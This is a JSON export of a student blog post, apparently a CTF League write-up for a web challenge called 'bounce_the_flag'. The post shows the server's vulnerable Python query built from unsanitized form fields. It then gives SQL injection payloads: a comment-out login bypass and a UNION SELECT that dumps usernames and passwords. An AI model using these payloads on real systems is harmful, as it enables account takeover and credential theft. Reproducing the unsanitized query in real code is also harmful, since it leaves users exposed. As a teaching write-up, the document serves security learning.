{"id":64,"date":"2022-10-09T07:48:44","date_gmt":"2022-10-09T07:48:44","guid":{"rendered":"https:\/\/blogs.oregonstate.edu\/paul\/?p=64"},"modified":"2022-10-11T05:17:09","modified_gmt":"2022-10-11T05:17:09","slug":"writeup-bounce_the_flag","status":"publish","type":"post","link":"https:\/\/blogs.oregonstate.edu\/paul\/2022\/10\/09\/writeup-bounce_the_flag\/","title":{"rendered":"Writeup: bounce_the_flag"},"content":{"rendered":"\n<p>OSUSEC CTF League is back, baby! And it&#8217;s on Mondays! Piping hot writeups are back on the regular menu and we&#8217;re getting right into things with a classic SQL injection.<\/p>\n\n\n\n<p>The challenge: &#8220;Let&#8217;s kick things off with one of my favorite classic games: Bounce the Flag! Bounce the flag is an immersive hyper-realistic gaming experience blah blah blah. One of Bounce the Flag&#8217;s most celebrated competitors, Mr. Flag, blahdie blahdie blah, forgot the password to his account, blah blah blah&#8221;<\/p>\n\n\n\n<p>Forget about all that stuff &#8211; It&#8217;s gaming time!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"956\" height=\"949\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image.png\" alt=\"\" class=\"wp-image-65\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image.png 956w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-300x298.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-150x150.png 150w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-768x762.png 768w\" sizes=\"auto, (max-width: 956px) 100vw, 956px\" \/><figcaption>Sweet! High score!<\/figcaption><\/figure>\n\n\n\n<p>Awesome! I just got a high score! Time to record this epic win on the Bounce the Flag HOF!<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"350\" height=\"292\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-1.png\" alt=\"\" class=\"wp-image-66\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-1.png 350w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-1-300x250.png 300w\" sizes=\"auto, (max-width: 350px) 100vw, 350px\" \/><\/figure>\n\n\n\n<p>What?! I definitely typed my password in right, but I must not have an account. I&#8217;m mad! This piece of gaming history deserves to be on the leaderboard! I&#8217;m gonna get this score up on the leaderboard, mark my words.<\/p>\n\n\n\n<p>Luckily, we have access to the source code of the server and have been told ahead of time that the server is vulnerable to SQL injection \ud83d\ude00<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>username = request.form&#091;'username_input']\npassword = request.form&#091;'password_input']\n\nres = sql_fetchall(\n        connection,\n        f\"\"\"\n        SELECT score, game_time\n        FROM users\n        INNER JOIN games\n        ON users.id = games.user_id\n        WHERE username = '{username}' AND password = '{password}'\n        ORDER BY game_time\n        \"\"\"\n    )<\/code><\/pre>\n\n\n\n<p>Our opportunity lies in the unsanitized username and password field. Submitting<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Mr. Flag' -- <\/code><\/pre>\n\n\n\n<p>gives us the message &#8220;Pfffffft you call that a high score?!! Try again when you score at least 1337 points!&#8221;<\/p>\n\n\n\n<p>As the score is held client-side, opening up the dev console and entering <code>score=1338<\/code> is enough to log in and save our score.<\/p>\n\n\n\n<p>If we can modify our username or password to break the SQL request for the stats page, we&#8217;re golden. <\/p>\n\n\n\n<p>I had trouble crafting the username statement, so I switched to putting the exploit in the password, with the final exploit being:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Username: Mr. Flag\nPassword ' or 1=1 union select password,username from users -- <\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"956\" height=\"684\" src=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-3.png\" alt=\"\" class=\"wp-image-69\" srcset=\"https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-3.png 956w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-3-300x215.png 300w, https:\/\/osu-wams-blogs-uploads.s3.amazonaws.com\/blogs.dir\/4941\/files\/2022\/10\/image-3-768x549.png 768w\" sizes=\"auto, (max-width: 956px) 100vw, 956px\" \/><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>OSUSEC CTF League is back, baby! And it&#8217;s on Mondays! Piping hot writeups are back on the regular menu and we&#8217;re getting right into things with a classic SQL injection. The challenge: &#8220;Let&#8217;s kick things off with one of my favorite classic games: Bounce the Flag! Bounce the flag is an immersive hyper-realistic gaming experience &hellip; <a href=\"https:\/\/blogs.oregonstate.edu\/paul\/2022\/10\/09\/writeup-bounce_the_flag\/\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Writeup: bounce_the_flag<\/span><\/a><\/p>\n","protected":false},"author":11809,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[7,9],"class_list":["post-64","post","type-post","status-publish","format-standard","hentry","category-writeups","tag-sql-injection","tag-web"],"_links":{"self":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/64","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/users\/11809"}],"replies":[{"embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/comments?post=64"}],"version-history":[{"count":2,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/64\/revisions"}],"predecessor-version":[{"id":70,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/posts\/64\/revisions\/70"}],"wp:attachment":[{"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/media?parent=64"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/categories?post=64"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blogs.oregonstate.edu\/paul\/wp-json\/wp\/v2\/tags?post=64"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}